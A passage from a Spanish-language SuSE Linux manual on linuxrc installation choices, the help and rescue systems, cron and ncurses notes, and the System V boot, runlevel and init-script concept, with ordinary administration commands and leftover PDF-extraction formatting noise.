Por lo general no hace falta especificar el hardware, porque la mayoría de los drivers encuentran los componentes por sí mismos. Solamente las tarjetas de red y lectores CD-ROM con controladora propia exigen a veces la indicación_ de parámetros. De todos modos se puede probar sencillamente pulsando |_____-| sin pasar ningún parámetro. Algunos módulos necesitan un buen tiempo para_ reconocer_ e inicializar el hardware. Cambiando a la consola virtual 4 (|A____l|t+ |F___|4) es posible ver los mensajes del kernel durante la carga del módulo. Sobre todo las controladoras SCSI son las que se toman su tiempo durante la carga, ya que esperan un rato la respuesta de todos los dispositivos conectados. Cuando se haya cargado el módulo exitosamente, linuxrc muestra los men- sajes del kernel, así que es posible asegurarse del éxito de la operación. Si no es así, los mensajes pueden servir para encontrar la razón del fracaso. Iniciar la instalación / Sistema Una vez conseguido el soporte completo del hardware necesario para la in- stalación, se puede pasar a la opción `Iniciar la instalación / Sis- tema'. En este punto (figura 16.5 en la página siguiente) se puede comenzar con una serie de procesos: `Comenzar la instalación' (desde aquí comienza también la actualización), `Iniciar el sistema instalado' (hace falta conocer la partición raíz), `Iniciar sistema de rescate' (ver aparta- do 16.5 en la página 425El sistema de rescate de SuSE section.16.5) e `Ini- ciar__Live-CD'_3_.___________________________ 3 Este CD solo existe para máquinas X86; ver el apartado 3.7.4 en la página 110Configurar sistema Livesubsection.3.7.4. 420 ________________________________________________________________________________________________________________16.3.__linux* *rc____________________ Figura 16.5: Destino final de linuxrc _______________________________________________________________________________________________________________________|| |||||||| La opción `Iniciar Live-CD' es bastante útil a la hora de comprobar ||| | |||||||| || | |||||||| la compatibilidad de una determinada computadora o de un portátil con || | |||||||| Linux. Para ello no hace falta hacer una instalación real en el disco duro. || | |||||||| || | |||||||| ¡Se trata de una prueba que se podría efectuar sin más en cualquier tienda || | |||||||| de PCs moderna! || | ||||||||_______________________________________________________________________________________________________________||_ Figura 16.6: Selección del medio fuente en linuxrc Se pueden elegir diferentes fuentes para la instalación (figura 16.6) y también para generar un sistema de rescate (figura 16.8 en la página 426Iniciar sistema de rescateItem.224). * * 421 16. Particularidades_de_SuSE______Linux___________________________________________________________________________________________* *_______________________________________@ 16.4 El sistema de ayuda para SuSE Linux El sistema de ayuda se compone de muchas partes y se puede obtener de manera simple a través de cualquier navegador (en caso del entorno gráfico figura 1.1 en la página 9Ayuda en hipertextosubsection.1.4.2 o, en la consola de texto, figura 16.7). El componente principal del sistema se encuentra en el paquete susehilf, serie doc (Dokumentation). Según la demanda de funcionalidad y contenido hace falta instalar unos paquetes adicionales que figuran más abajo (el pro- ceso de instalación se explica en el apartado 3.5.3 en la página 97Cambiar / Crear configuraciónsubsection.3.5.3). Los paquetes esenciales se instalan automáticamente cuando se ejecuta la instalación estándar de YaST , así que, no cunda el pánico si se encuentra en este momento un poco perdido;-) | * * | ________________________________________________________________________________________________________* *________|| | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | | * * | |_______________________________________________________________________________________________________* *________ | Figura 16.7: Primera página del sistema de ayuda (lynx) paquete apache, serie n: Apache, el servidor WWW local. paquete sdb, serie doc: El paquete básico con la función de búsqueda para la SDB. paquete sdb_de, serie doc: Los textos del banco de datos de soporte (SDB), en alemán. paquete sdb_cgi, serie doc: Función de búsqueda para el SDB. paquete susepak, serie doc: Por si hay interés en estudiar la descripción de los paquetes con calma. . . paquete howtodeh, serie doc: Los documentos Howto, en alemán. paquete howtoenh, serie doc: Los documentos Howto, versión inglesa (generalmente más actualizados que las traducciones). paquete ldp, serie doc: Libros, FAQs, etc. del Linux Documentation Project (LDP) en HTML. paquete rman, serie ap: Contiene http-rman . 422 ________________________________________________________________16.4.__El_sistema_de_ayuda_para_SuSE______Linux_____________* *______________________ paquete inf2htm, serie doc: Con este paquete se pueden leer los documen- tos del tipo Info en un navegador (ver apartado 1.4.3 en la página 8Texin- fo e Infosubsection.1.4.3); los documentos se convierten en el acto (ingl. on-the-fly). paquete dochost, serie n: Un conjunto de programas para un servidor cen- tral de documentos en la red. ¡Consultar la documentación en /usr/doc/ packages/dochost/README.SuSE! paquete htdig, serie n: Sirve para generar un índice de todos los documen- tos del tipo WWW que se encuentran en una computadora (o en la red local); la computadora se convierte en una pequeña máquina de búsqueda del web. El paquete dochost y el paquete htdig no son obligatorios, pero pueden resultar útiles para alcanzar la funcionalidad total. 16.4.1 Configuración para estación de trabajo o servidor Configurar en el fichero /etc/rc.config las variables para una estación de trabajo tal y como están listadas en el fichero 16.4.1 (lo mejor es hacerlo con YaST tal como se explica en en la página 444Configurar e iniciar servicios de red y localesHfootnote.77 y más explícito en el apartado 3.7.12 en la pági- na 116Cambiar fichero de configuraciónsubsection.3.7.12). Aquí suponemos que el sistema se llama sol.cosmos.univ, si no fuese así, se deben usar los nombres asignados. _______________________________________________________________________________________________________________________ |||||||| | |||||||| START_INETD="yes" | |||||||| START_HTTPD="yes" | |||||||| | |||||||| DOC_SERVER="yes" | |||||||| DOC_HOST="sol.cosmos.univ" | |||||||| DOC_ALLOW="LOCAL.cosmos.univ" | |||||||| | ||||||||_______________________________________________________________________________________________________________ | Fichero 16.4.1: /etc/rc.config para estación de trabajo o servidor El inetd (ingl. inet daemon) debe ser iniciado en todo caso, ya que se necesita este daemon p. ej. para el acceso a las + Manpages vía http-man . Natural- mente http-rman solo puede funcionar si este servicio no esta desactivado en /etc/hosts.deny Hay que asegurarse de iniciar el servidor HTTP (apache ) cuando el sistema arranca; para ello se responde yes en START_HTTPD DOC_SERVER determina si se van a proporcionar documentos desde esta com- putadora; esta variable también debe tener el valor yes cuando se trata de una estación de trabajo, ya que en estos casos la estación es a su vez el servi- dor de la información. DOC_HOST es el nombre del servidor de documentos (aquí: sol.cosmos.univ). En DOC_ALLOW se apuntan todas las computado- ras y dominios que deben tener el permiso de acceso a la documentación (los ''Manpages''). ¡Si se quiere dar acceso a un dominio completo, no hay que olvidar el `.' en frente del nombre de dominio! * * 423 16. Particularidades_de_SuSE______Linux___________________________________________________________________________________________* *_______________________________________@ ________________________________________________________________________________________________________* *________|| | Tenga en cuenta que hace falta ejecutar SuSEconfig después del cam- * * |||| || bio de cualquier variable en /etc/rc.config . Trabajando con YaST * * |||| | SuSEconfig se ejecuta automáticamente. * * |||| |_______________________________________________________________________________________________________* *________|||_ La búsqueda de texto no funciona antes de generar los índices para ht://Dig (paquete htdig). Estos índices ocupan actualmente alrededor de 70 MB. Cuando se está inicializando el banco de datos debe haber un mínimo de 200 MB de espacio en el directorio /opt/www/htdig. La inicialización se efectúa con el siguiente comando: tierra:~ # suserundig El script /usr/sbin/suserundig evalúa el fichero de configuración /opt/ www/htdig/conf/susedig.conf y genera los índices. En caso de cambiar los datos (p. ej. después de una actualización de los documentos HTML) hay que ejecutar suserundig de nuevo. 16.4.2 Configuración para una computadora en modo cliente Tal vez no se desea instalar la documentación completa en todas las com- putadoras de una red local; si es así, se ha de aprovechar el concepto cliente- servidor. En la computadora que figura como cliente solamente se instala el paquete dochost, serie n y se definen las variables en /etc/rc.config como se muestra en el fichero 16.4.2. ________________________________________________________________________________________________________* *________ | * * | | * * | | DOC_SERVER="no" * * | | DOC_HOST="sol.cosmos.univ" * * | | DOC_ALLOW="" * * | | * * | | * * | |_______________________________________________________________________________________________________* *________ | Fichero 16.4.2: /etc/rc.config para una máquina Cliente ¡Por supuesto que esto solo funciona si la documentación está realmente instalada en sol.cosmos.univ! 16.4.3 Usar el sistema de ayuda Si se ha instalado el sistema de ayuda (como se ha explicado arriba), es posible acceder a él con el comando susehelp . Otra posibilidad es la de indicar directamente el URL http://localhost/doc/susehilf/index. html o http://sonne.kosmos.all/doc/susehilf/index.html en un navegador WWW. Evidentemente, sol.cosmos.univ solo funciona si ha llamado de este modo a la computadora o al servidor de documentos. 424 ____________________________________________________________________________16.5.__El_sistema_de_rescate_de_SuSE____________* *______________________ 16.5 El sistema de rescate de SuSE Introducción SuSE Linux contiene ~ independientemente del sistema de instalación ~ un sistema de rescate autónomo4 que permite acceder ''desde afuera'' a todas las particiones de Linux en los discos duros. El sistema de rescate contiene entre otras una buena selección de utilidades para brindar suficientes herramientas que permitan arreglar una serie de problemas, p. ej. respecto a la falta de acceso a los discos o respecto a problemas con ficheros de configuración. El sistema de rescate se forma de un disquete de arranque o de un SuSE Linux-CD arrancable y de un sistema de fichero de rescate, cuyo origen puede ser un disquete, un CD, la red o incluso el servidor-FTP de SuSE ; en total: es emocionante! Preparativos Es posible generar el disquete de arranque a partir de la imagen correcta en el CD bajo /disks. A parte de este disquete de arranque no se necesita más que el fichero /disks/rescue, que contiene la imagen comprimida de un pequeño sistema de fichero raíz. Este fichero se copia a un segundo disquete de rescate con los comandos de Linux: tierra: # /sbin/badblocks -v /dev/fd0 1440 tierra: # dd if=/cdrom/disks/rescue of=/dev/fd0 bs=18k o con los equivalentes de DOS (suponiendo aquí que Q: representa el lector CD-ROM bajo DOS): Q:\> cd \dosutils\rawrite Q:\dosutils\rawrite> rawrite.exe para luego cargar todo el sistema desde este disquete y el de arranque; también se puede generar el disquete de rescate con YaST (ver apartado 3.7.2 en la página 106`Crear disco de rescate'subsection.3.7.2). El disquete de rescate está actualmente basado a propósito en la librería libc5 (SuSE Linux 5.3); solo así caben varios programas (un + Editor, fdisk , e2fsck , etc.) en un solo disquete. La librería glibc sería demasiado grande para caber en el disquete. No se puede montar el disquete de rescate ya que no contiene ningún sistema de fichero, sino la imagen comprimida de uno (una imagen no comprimida de unos 3 MB resulta demasiado grande para un disquete). No obstante, si se desea verla alguna vez, se debe descomprimir esa imagen y después montarla como usuario `root'. Esto supone que el kernel soporta el loop-Device y funciona del siguiente modo: tierra: # cp /cdrom/disks/rescue /root/rescue.gz tierra: # gunzip /root/rescue.gz tierra: # mount -t ext2 -o loop /root/rescue /mnt Ahora se puede ver el contenido del sistema de rescate montado en el direc- torio /mnt. 4 ____________________________________________________ En realidad ya son dos sistemas o, incluso 3, si se quiere tomar también el sistema de fichero ''Live'' (ver apartado 3.7.4 en la página 110Configurar sistema Livesubsection.3.7.4) como un sistema de rescate. * * 425 16. Particularidades_de_SuSE______Linux___________________________________________________________________________________________* *_______________________________________@ ________________________________________________________________________________________________________* *________|| | Siempre se debe mantener un par de disquetes de arranque y de rescate en * * |||| || un lugar seguro. El pequeño esfuerzo para generar y mantenerlos no tiene * * |||| | comparación con el trabajo y la pérdida de tiempo que representa no tener * * |||| | * * ||| | nada en un caso de emergencia. * * ||| |_______________________________________________________________________________________________________* *________|||_ Iniciar sistema de rescate El sistema de rescate se inicia como la instalación desde el disquete de ar- ranque o desde el CD 1 si la BIOS de la computadora lo soporta. Los pasos a seguir son los siguientes: 1. Requisito: Se puede arrancar desde la disquetera o desde el lector CD- ROM (si este no fuera el caso se tendría que cambiar el orden de arranque en la BIOS). 2. Arrancar el sistema con el disquete o el CD 1. Introduzca en el prompt de arranque yast1 o bien manual ; usando manual existe la posibilidad de cargar los módulos manualmente. 3. Ajustar el idioma, el teclado, etc. en linuxrc hasta llegar al menú principal. 4. Seleccionar en el menú principal `Iniciar la instalación, sis- tema'. 5. Si se ha arrancado con el disquete de arranque, se introduce el CD de instalación o el disquete (rescue) con la imagen comprimida del sistema de rescate. Figura 16.8: Elección del medio fuente del sistema rescue 6. En el menú `Iniciar la instalación, sistema' se selecciona la opción `Iniciar sistema de rescate' (ver figura 16.5 en la pági- na 421Iniciar la instalación / SistemaHfootnote.70) y se indica después el medio fuente (figura 16.8): `CD-ROM': Esta es la ''opción normal''. linuxrc procede a cargar un sistema confortable de rescate (.../suse/images/rescue). Para poder ir por este camino hace falta un mínimo de 16 MB de memoria 426 ____________________________________________________________________________16.5.__El_sistema_de_rescate_de_SuSE____________* *______________________ RAM (mejor 24 MB). Además, el directorio /cdrom se exporta, lo que permite arrancar cómodamente el sistema de rescate y después efectuar una instalación de red desde el mismo CD (para ello hay que configurar adecuadamente las variables en /etc/rc.config y ejecutar después SuSEconfig ; ver apartado 17.5 en la página 435/etc/rc.config y SuSEconfig section.17.5). `Red (NFS)': Acceder al sistema rescue por red vía NFS. Para ello hace falta cargar anteriormente el driver de la tarjeta de red ; ver tam- bién las indicaciones generales en el apartado 2.4.2 en la página 51In- stalación desde una fuente en la ''red''subsection.2.4.2 . `Red (FTP)': Acceder al sistema rescue por red vía FTP. ¡No olvidar el driver de red! `Disco duro': Cargar el sistema rescue desde el disco duro. `Disquete': Arrancar el sistema rescue desde un disquete como se ha indicado antes. Se trata de una variante que funciona también cuando la computadora tiene poca memoria RAM. Ahora se descomprime el sistema de rescate y se carga como nuevo sistema de fichero raíz en un ''RAM-Disk'' (disco virtual), se monta, arranca y queda así operativo. Trabajar con el sistema de rescate El sistema de rescate proporciona, con las teclas |A_____|lt+ |F___|_1hasta |A_____|lt+ |F___|_3, tres diferentes consolas virtuales en las que se puede efectuar un login (entrar en el sistema)_ como__usuario `root' sin necesidad de contraseña. Con las teclas |A____l|t+ |F____1|0se llega a la consola de sistema para ver los mensajes del kernel y de syslog . En el directorio /bin se encuentran las shells y las utilidades (p. ej. mount ) y un conjunto de utilidades para ficheros y red, como p. ej. e2fsck , que sirve para comprobar y arreglar sistemas de fichero. En /sbin se encuentran tam- bién los binarios más importantes para la administración del sistema como fdisk , mkfs , mkswap , init , shutdown y para el uso de red ifconfig , route y netstat . Bajo /usr/bin se encuentra el editor vi al igual que las herramientas (grep , find , less , etc.) y sobre todo telnet . Ejemplo: Acceso al sistema ''normal'' Como punto de montaje del sistema Linux en el disco duro, está previsto el directorio /mnt, lo que no impide generar otros directorios y usarlos como puntos de montaje. Supongamos que el sistema normal contiene según /etc/fstab las parti- ciones Linux, como se observa en el ejemplo del fichero 16.5.1 en la página siguiente. En este caso se puede montar el sistema paso por paso bajo /mnt usando los siguientes comandos (¡Vigilar el orden!): * * 427 16. Particularidades_de_SuSE______Linux___________________________________________________________________________________________* *_______________________________________@ ________________________________________________________________________________________________________* *________ | * * | | /dev/sdb5 swap swap defaults 0 0 * * | | * * | | /dev/sdb3 / ext2 defaults 1 1 * * | | /dev/sdb6 /usr ext2 defaults 1 2 * * | | * * | |_______________________________________________________________________________________________________* *________ | Fichero 16.5.1: Ejemplo de /etc/fstab tierra:/ # mount /dev/sdb3 /mnt tierra:/ # mount /dev/sdb6 /mnt/usr Ahora se tiene acceso a todo el sistema y se pueden corregir errores en los ficheros de configuración como en /etc/fstab, /etc/passwd o /etc/ inittab. Por supuesto, estos ficheros se encuentran ahora bajo /mnt/etc en lugar de /etc. Todo usuario experimentado de Linux archiva cuanto antes un impreso en papel de /etc/fstab y de la respuesta del comando: tierra: # fdisk -l /dev/ En lugar de hay que indicar uno por uno los nombres de dispositivo de los discos duros del sistema, p. ej. hda (ver el listado en el apartado D.1 en la página 513Ficheros de dispositivos en el directorio /dev section.D.1). Si se sabe exactamente dónde está una partición perdida, sería posible recuperarla con fdisk , generándola de nuevo sencillamente. Ejemplo: Arreglar sistemas de fichero Un sistema de fichero dañado es una razón seria para recurrir al sistema de rescate. Se produce p. ej. por no haber apagado correctamente la computadora (en caso de corte de la electricidad) o por un cuelgue de sistema. No se puede arreglar un sistema de fichero durante el uso normal de la computadora y en ''casos graves'' ni siquiera se puede montar el sistema de fichero raíz y el arranque termina en el mensaje "kernel panic". En tal caso solo queda la posibilidad del arreglo ''desde fuera'' con un sistema de rescate. Este sistema de SuSE Linux contiene las utilidades e2fsck y también dumpe2fs para el diagnóstico, lo que sirve para la mayoría de problemas. Generalmente en casos de emergencia no se puede acceder a la Manual-Page de e2fsck , por lo tanto se encuentra impresa en el anexo E en la pági- na 519Manual-Page de e2fsckappendix.E. Ejemplo: Cuando un sistema de fichero se resiste a su montaje debido a un Súper-bloque no válido, lo más probable es que e2fsck fracase en el intento de arreglarlo. La solución es usar uno de los respaldos del Súper-bloque, que se encuentran cada 8192 bloques (bloque 8193, 16385. . . ) en el sistema de fichero. Se puede hacer con el comando: tierra: # e2fsck -f -b 8193 /dev/ La opción -f fuerza la comprobación del sistema de fichero para evitar que e2fsck asuma que todo está en orden por el hecho de haber detectado la copia intacta del Súper-bloque. 428 _______________________________________________________________16.6.__Indicaciones_sobre_paquetes_especiales________________* *______________________ 16.6 Indicaciones sobre paquetes especiales 16.6.1 paquete cron Las tablas de cron ya no se encuentran bajo /var/lib/cron sino bajo /var/cron/tabs. Como tabla de comandos para todo el sistema se gen- era el fichero /etc/crontab. En este fichero hay que apuntar, además de la hora, cuál usuario ha encargado la tarea a ejecutar (ver fichero 16.6.1, donde se indica `root' como usuario); las tablas específicas de los paquetes (en /etc/cron.d) siguen la misma filosofía ~ ver página del manual de cron (man 8 cron ). _______________________________________________________________________________________________________________________ |||||||| | |||||||| 1-59/5 * * * * root test -x /usr/sbin/atrun && /usr/sbin/atrun | |||||||| | |||||||| | ||||||||_______________________________________________________________________________________________________________ | Fichero 16.6.1: Ejemplo para una indicación en /etc/crontab No se puede usar el comando crontab -e para modificar /etc/crontab; se debe modificar con un editor y posteriormente grabarlo. Hay algunos paquetes que instalan scripts dentro de los directorios /etc/ cron.hourly, /etc/cron.daily, /etc/cron.weekly y /etc/cron. monthly. De la ejecución de estos se encarga /usr/lib/cron/run-crons, que se inicia cada 15 minutos desde la tabla principal (/etc/contrab). No se asombre entonces si el usuario `nobody' aparece poco después del arranque del sistema, con mucha actividad en la tabla de procesos. Lo más probable es que `nobody' esté en tales momentos actualizando el banco de datos locate (ver el apartado 17.6 en la página 446Seguridad y servicios de mantenimiento localesHfootnote.77). 16.6.2 paquete curses El CD contiene ahora el paquete ncurses cuyas bibliotecas se denominan libncurses.so. . Por eso hay que modificar en muchos Makefiles los comandos para el Linker. No se deberían traducir paquetes propios con -lcurses sino con -lncurses . Quienes lo deseen hacer a pesar de todo, deben usar los siguientes comandos: -I/usr/include/termcap -I/usr/include/curses -L/usr/lib/termcap -L/usr/lib/curses 16.6.3 Fuentes del paquete uucp Las fuentes del paquete uucp se encuentran actualmente dentro de las fuentes source-RPM de Sendmail como sub-paquete. 16.6.4 Manual-Pages Para algunos programas GNU, no se siguen manteniendo las Manual-Pages (p. ej. tar ). En su lugar se puede usar de ayuda rápida la extensión --help o los ficheros del tipo info. Info (info ) es el sistema de hipertexto de GNU cuyo uso se explica con el comando info info . Se puede llamar a info * * 429 16. Particularidades_de_SuSE______Linux___________________________________________________________________________________________* *_______________________________________@ a través de Emacs con el comando emacs -f info o también sólo con el comando info . Un uso agradable lo ofrecen tkinfo , xinfo o el acceso a través del sistema de ayuda; ver el apartado 16.4 en la página 422El sistema de ayuda para SuSE Linux section.16.4. 16.7 Distribución de teclado Para normalizar la distribución del teclado de los distintos programas, se han modificado los siguientes ficheros: /etc/inputrc /usr/X11R6/lib/X11/Xmodmap /etc/skel/.Xmodmap /etc/skel/.exrc /etc/skel/.less /etc/skel/.lesskey /etc/csh.cshrc /etc/termcap /usr/lib/terminfo/x/xterm /usr/X11R6/lib/X11/app-defaults/XTerm /usr/share/emacs/20.5/site-lisp/term/*.el /usr/lib/joerc Estas modificaciones solo tienen efecto sobre las aplicaciones que leen los parámetros terminfo o sobre aquellas cuyos ficheros de configuración fueron modificados directamente (vi , less , etc.). Se recomienda adaptar otras aplicaciones no-SuSE a estas definiciones. 430 Capítulo 17 El concepto de arranque de SuSE Linux El arranque y la inicialización de un sistema UNIX provoca un hormigueo incluso al administrador de sistemas más experimentado. Este capítulo da una breve introducción al concepto de arranque de SuSE Linux. Su concepto es más complejo pero también mucho más flexible que el de la mayoría de otros sistemas Linux. Se basa en el moderno concepto de arranque System V -Workstation, como está descrito p. ej. en [Fri93 ]. Con las específicas palabras "Uncompressing Linux..." el Kernel toma el mando de todo el Hardware del sistema; comprueba y fija la consola 1 , para después leer los valores predeterminados de la BIOS e inicializar las interfaces elementales de la placa base. En los próximos pasos los distintos drivers ~ que forman parte del Kernel ~ ''prueban'' el Hardware presente para realizar una inicialización, en caso necesario. Después del ''Chequeo de la partición'' y la carga del Root-Filesystem2 , el Kernel ejecuta el programa /sbin/init , el cual realiza el auténtico arranque del sistema con sus múltiples programas auxiliares y sus configuraciones El Kernel sigue gestionando el sistema completo, el tiempo de cálculo de los programas y sus accesos al Hardware. 17.1 El init -Programm El programa /sbin/init es el proceso correspondiente para una inicialización correcta del sistema; se puede decir que es el ''Padre de todos los procesos'' de sistema. Dentro de todos los programas, init tiene un status especial: init es ejecutado directamente por el Kernel y por lo tanto no tiene efecto la señal 9, con la cual todos los procesos pueden ser ''interrumpidos''. Los procesos siguientes son ejecutados directamente por init o por uno de sus ''Procesos subordinados''. Se configura init centralizado a través del fichero /etc/inittab; aquí se de- finen los llamados ''Runlevel'' (se comenta más detenidamente en la sección siguiente) y se prefija qué ha de ocurrir en los diferentes niveles. Dependien- do de la escritura en /etc/inittab, init ejecuta diferentes scripts, que por razones_de_organización_se_reunen_en_el_directorio_/sbin/init.d._ 1 Más exactamente el registro de la BIOS de la tarjeta gráfica y el formato de salida de la pantalla. 2 Conectar de la partición raíz al directorio /. * * 431 17. El concepto de_arranque_de_SuSE______Linux____________________________________________________________________________________* *_______________________________________@ Así, todo el proceso de arranque ~ y naturalmente la secuencia de apagado ~ es controlado por el proceso init ; en este sentido se puede considerar el Kernel prácticamente como ''Proceso en segundo plano'', el cual tiene como objetivo gestionar los procesos arrancados, dedicarles tiempo de cálculo y posibilitar y controlar el acceso al Hardware. 17.2 Los Runlevel Bajo Linux existen diferentes Runlevel (nivel de ejecución), que definen qué estado debe tener el sistema. El Runlevel estándar, en el cual arranca el sistema, está en el fichero /etc/inittab inscrito mediante initdefault ; normalmente es 2 o 3 (ver tabla 17.1). Alternativamente se puede introducir el Runlevel requerido en el proceso de arranque (p. ej. en LILO-Prompt); el Kernel transfiere parámetros que él no puede tratar sin modificar al proceso init . Se puede cambiar a otro Runlevel, solo introduciendo init con el número correspondiente; naturalmente el cambio a otro Runlevel solo puede ser ges- tionado por el + Administrador de sistema. Por ejemplo se logra mediante el siguiente comando root@tierra:/ > init S entrar en el modo llamado single user mode, el cual se preocupa del manten- imiento y administración del sistema. Después de que el administrador del sistema ha acabado su trabajo se puede iniciar, para que con root@tierra:/ > init 2 arranque el sistema en el Runlevel corriente, en el cual todos los programas necesarios se ejecutan y los usuarios individuales pueden dar un aviso al sistema. La tabla 17.1 da una orientación sobre los Runlevel disponibles. Runlevel 1 no debería ser utilizado en un sistema del cual /usr-Partition está cargado vía NFS! ________________________________________________________________________________________________________* *________ __Runlevel__________Significado________________________________________________________________________* *________ 0 Stop S Single User Mode 1 Multi User sin red 2 Multi User con red (estándar) 3 Multi User con red y Xdm 4 Libre 5 Libre ___6_________________Reboot_____________________________________________________________________________* *________ Tabla 17.1: Lista de los Runlevel disponibles bajo Linux En consecuencia resulta que también se puede parar el sistema con root@tierra:/ > init 0 o reinicializándolo de nuevo con, 432 __________________________________________________________________________________________17.3.__Cambio_del_Runlevel________* *______________________ root@tierra:/ > init 6. Si el sistema X Window ya esta correctamente configurado (apartado 8.1 en la página 238Configuración con SaX section.8.1) y los usuarios quieren entrar directamente al entorno gráfico del sistema, se puede cambiar el valor del Runlevel estándar a 3 en /etc/inittab. Antes de realizar esta operación, se debería comprobar si el sistema funciona tal como se desea introduciendo root@tierra:/ > init 3 _______________________________________________________________________________________________________________________||||| |||||||| Un /etc/inittab alterado puede hacer que el sistema ya no arranque ||| | |||||||| correctamente. Hay que tener cuidado al modificar este fichero. ~ || | |||||||| || | |||||||| Como ayuda de emergencia se puede intentar transferir el parámetro || | |||||||| init=/bin/sh del LILO-Prompt, para arrancar directamente dentro de || | |||||||| || | |||||||| una Shell (ver apartado 16 en la página 122¿Cuál es la apariencia del || | |||||||| || | |||||||| arranque con LILO ?Hfootnote.16); se puede hacer del siguiente modo: || | |||||||| boot: linux init=/bin/sh || | ||||||||_______________________________________________________________________________________________________________||_ 17.3 Cambio del Runlevel En un cambio del Runlevel ocurre generalmente lo siguiente: Los llamados scripts de parada del Runlevel actual se ejecutan~ los diferentes programas que se están ejecutando en este nivel se finalizan ~ y los scripts de arranque del nuevo Runlevel se inicializan. En un procedimiento como éste, en la mayoría de los casos se ejecutan varios programas. Para aclarar esto consideramos en un ejemplo, qué ocurre si cambiamos del Runlevel 2 a Runlevel 3: o El administrador (`root') comunica al proceso init que debe cambiar el Runlevel: root@tierra:/ > init 3 o init consulta el fichero de configuración /etc/inittab y detecta que el script /sbin/init.d/rc debe ser llamado con el nuevo Runlevel como parámetro. o Ahora llama rc a todos los Stop-scripts del Runlevel actual, para los cuales no existe un Start-script en el Runlevel nuevo; en nuestro ejemplo son todos los scripts, que se encuentran en el subdirectorio /sbin/init. d/rc2.d (el último Runlevel era 2) y que comienzan con `K'3 . El número que sigue a la `K' asegura, que se mantenga un cierto orden en el proceso, porque ocasionalmente algunos programas dependen de otros. o Por último son llamados los Start-scripts del nuevo Runlevel; estos están en nuestro ejemplo en /sbin/init.d/rc3.d y empiezan con una `S'. También aquí se mantiene un orden determinado el cual esta fijado por el número que sigue de la `S'. Si cambia al mismo Runlevel en cual se encuentra,init lee solo el /etc/ inittab, comprueba el fichero para cambios existentes y en caso necesario realiza los procedimientos adecuados (p. ej. ejecuta un getty en otra inter- faz). 3 ____________________________________________________ Los nombres de los Stop-scripts empiezan siempre con `K' (ingl. kill), los de los Start-scripts con `S' (ingl. start). * * 433 17. El concepto de_arranque_de_SuSE______Linux____________________________________________________________________________________* *_______________________________________@ 17.4 Los Init-scripts Concepto Los scripts bajo /sbin/init.d se dividen en dos categorías: o scripts, que son llamados directamente por init : Esto solo sucede en caso de arranque así como también en caso de un apagado instantáneo_(en_caso ____ de fallo de tensión o por pulsar la combinación de teclas |C______|trl+ |A____l|t+ |________|Supprpor parte del usuario). o scripts, que son llamados indirectamente por init : Esto ocurre en caso de un cambio del Runlevel; aquí generalmente se ejecuta el script superior /sbin/init.d/rc , el que se encarga de que sean llamados los scripts corre- spondientes en su secuencia correcta. Todos los scripts se encuentran bajo /sbin/init.d. Los que se usan para el cambio del Runlevel se encuentran también en este directorio, pero son llamados siempre como un enlace simbólico desde uno de los subdirectorios /sbin/init.d/rc0.d hasta /sbin/init.d/rc6.d. Esto sirve para orga- nizar y, evita que los scripts tengan que estar presentes varias veces, por ser utilizados en diferentes Runlevel. Para que cada uno de los scripts pueda ser llamado como Start- o Stop-script, éstos tienen que entender los dos parámet- ros start y stop . Ejemplo Al salir del Runlevel 2 es llamado /sbin/init.d/rc2.d/K40network; /sbin/init.d/rc llama el script /sbin/init.d/network con el parámetro stop . Por último, al entrar en Runlevel 3, se ejecuta el mismo script pero ahora con el parámetro start . Los enlaces en los subdirectorios específicos de los Runlevel solo sirven para unir cada script con un determinado Runlevel. Boot y A continuación se encuentra una breve descripción del primer Boot- y del Shutdown último Shutdown-scripts así como del script de control: o boot Es ejecutado directamente por init en el arranque del sistema. Es inde- pendiente del Default-Runlevel requerido y se ejecuta solo una vez. Aquí se ejecuta el Kernel-Daemon, que se encarga de la carga automática de los módulos-Kernel. Se realiza la comprobación de los sistemas de ficheros, ficheros sobrantes bajo /var/lock se eliminan y la red se configura para el Loopback-Device, en caso que sea apuntado en /etc/rc.config. Ac- to seguido se fija el tiempo real del sistema y el Plug-and-Play-Hardware es configurado mediante los isapnp-Tools (ver apartado 10.2.1 en la página 288¿Cómo activar tarjetas PnP con isapnp ?subsection.10.2.1 . Si aparece un fallo grave durante la comprobación y reparación automáti- ca de los sistemas de fichero, el administrador del sistema tiene la posi- bilidad de resolver el problema manualmente, después de haber entrado el código de seguridad. Este script tiene adjudicado además el directorio /sbin/init.d/boot. d; todos los scripts encontrados, que comiencen con `S', son automáti- camente ejecutados en el proceso de arranque del sistema. Este es el sitio ideal para ampliaciones personales, que solo tienen que ser activadas una vez en el proceso de arranque. Por último se ejecuta el script boot.local . 434 __________________________________________________________________________17.5.__/etc/rc.config______________y_SuSEconfig___* *______________________ o boot.local Aquí se pueden introducir más cosas que se deban ejecutar en el arranque, antes que el sistema entre en uno de los Runlevel; se puede hacer la comparación con el fichero AUTOEXEC.BAT bajo DOS. o boot.setup Son fijaciones básicas que se deben realizar cuando se cambia desde el single user mode a cualquier otro Runlevel. Aquí se cargan la distribución del teclado y la configuración de la consola. o halt Este script solo se ejecuta entrando en Runlevel 0 o 6. Entonces es ejecu- tado mediante el nombre halt o el nombre reboot. Dependiendo de cómo se llama a halt , el sistema se reinicializa o se apaga totalmente. o rc Es el script superior, el cual es llamado en cada cambio del Runlevel. Ejecuta los Stop-scripts del Runlevel actual y después los Start-scripts del nuevo. Scripts propios Se pueden añadir scripts propios mediante este concepto; un patrón está preparado en /sbin/init.d/skeleton. Para controlar la ejecución de un script propio mediante el /etc/rc.config, se debería crear una variable- y entonces usarla en el propio script; los parámetros adicionales solo se deben introducir en el /etc/rc.config en casos justificados (ver p. ej. el script /sbin/init.d/gpm). Ahora se deben crear enlaces desde cada directorio rc al script nuevo, para que éste se ejecute cambiando de Runlevel; ver apartado 17.3 en la pági- na 433Cambio del Runlevelsection.17.3. También en la misma referencia se explica la asignación de nombres a los enlaces. Los detalles técnicos se describen en la página del manual de init.d (man 7 init.d ). _______________________________________________________________________________________________________________________ |||||||| || | |||||||| Elaborando scripts propios hay que tener cuidado ~ un script con fallos || | |||||||| es capaz de provocar el bloqueo de la computadora; ver apartado 17.2 en || | |||||||| || | |||||||| la página 432Los Runlevelsection.17.2, si se diera el caso en que deje de || | |||||||| funcionar el sistema. . . || | ||||||||_______________________________________________________________________________________________________________||_ 17.5 /etc/rc.config y SuSEconfig Prácticamente toda la configuración de SuSE Linux se puede realizar medi- ante el fichero de configuración central /etc/rc.config. Este fichero con- tiene una serie de variables de entorno que son evaluadas por los spripts de inicialización (ingl. init scripts). 